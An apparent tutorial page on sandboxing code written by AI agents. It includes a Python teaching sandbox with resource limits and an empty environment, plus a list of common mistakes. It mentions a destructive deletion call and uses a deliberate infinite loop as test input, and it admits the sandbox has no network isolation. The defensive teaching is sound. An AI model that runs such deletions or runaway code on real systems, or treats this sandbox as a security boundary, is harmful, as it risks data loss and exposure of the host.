The scare

Pip is good at answering questions. Lumen & Co's owner asks for more: "Can Pip look at the sales spreadsheet and tell me which products are dying?" Sensible. To do it, Pip writes a Python script and the harness runs it.

Look at what changed. Before, Pip could only use tools you had built, each with a fixed shape. Now Pip is writing programs. A program can read any file the process can read, open network connections, run forever, and eat all the memory. The model does not need to be malicious. It just needs to write shutil.rmtree while "tidying up", or to pip install something odd it half-remembers.

Refresher: a tool call versus a program

That last row is the reason this pattern exists. When the model can write code, the worst case stops being "one tool misfires" and becomes "the whole machine".

The pattern

Run generated code somewhere the worst case is "the sandbox got messy, throw it away."

  generated code ──►┌─────────────── sandbox ────────────────┐
                    │ filesystem : one scratch dir, nothing  │
                    │              else visible              │
                    │ network    : off (or an allowlist)     │
                    │ resources  : CPU, memory, wall-clock   │
                    │ secrets    : none inside               │
                    └────────────────────────────────────────┘
                              output only ──► back to the agent

Try it

Five things an agent might plausibly write. Everything starts unprotected. Switch limits on until every card goes green, and notice which limit rescues which snippet.

The secrets one is the one people forget. If the sandbox has no credentials in it, a compromised sandbox has nothing to steal.

Build it

A teaching version, not a security guarantee. It shows the shape: a separate process, a time limit, a memory limit, a throwaway directory, an empty environment.

import resource, subprocess, sys, tempfile, textwrap

def limit():
    resource.setrlimit(resource.RLIMIT_CPU, (5, 5))                    # 5 CPU seconds
    if sys.platform.startswith("linux"):                               # macOS ignores this one
        resource.setrlimit(resource.RLIMIT_AS, (256 * 1024 * 1024,) * 2)   # 256 MB

def run_untrusted(code: str, timeout=10):
    with tempfile.TemporaryDirectory() as scratch:
        try:
            p = subprocess.run(
                [sys.executable, "-I", "-c", textwrap.dedent(code)],
                cwd=scratch, capture_output=True, text=True,
                timeout=timeout, preexec_fn=limit, env={},   # empty env: no secrets
            )
            return {"ok": p.returncode == 0, "stdout": p.stdout[-2000:], "stderr": p.stderr[-2000:]}
        except subprocess.TimeoutExpired:
            return {"ok": False, "stderr": "timed out"}

print(run_untrusted("print(sum(range(10**6)))"))
print(run_untrusted("while True: pass"))

The second call gets killed by the limits. (The memory cap only works on Linux; on a Mac you get the CPU and time limits, which is fine for trying it out.) Also notice [-2000:]: the agent receives a bounded amount of output, not an unlimited stream.

Picking the isolation level

Rule of thumb: the less you trust where the code came from, the further the isolation should sit from your own machine. Code written by a model that just read a web page counts as "influenced by strangers".

When it goes wrong

• A sandbox with network access "just for pip install". That is a door. Pre-build the image with the libraries you want.
• Sharing a sandbox between users. One person's files become another's. Fresh sandbox per task, or per user at minimum.
• Forgetting the output. A sandbox can be perfect and the agent can still be handed a 500 MB string. Cap it.
• Trusting the sandbox with secrets. If the code needs an API, pass a short-lived token, not your master key.

Where it connects

The sandbox is what the Tool Gateway hands work to when a tool is "run code". The Cost Governor supplies the wall-clock cap, and the Trace Pipeline records what ran.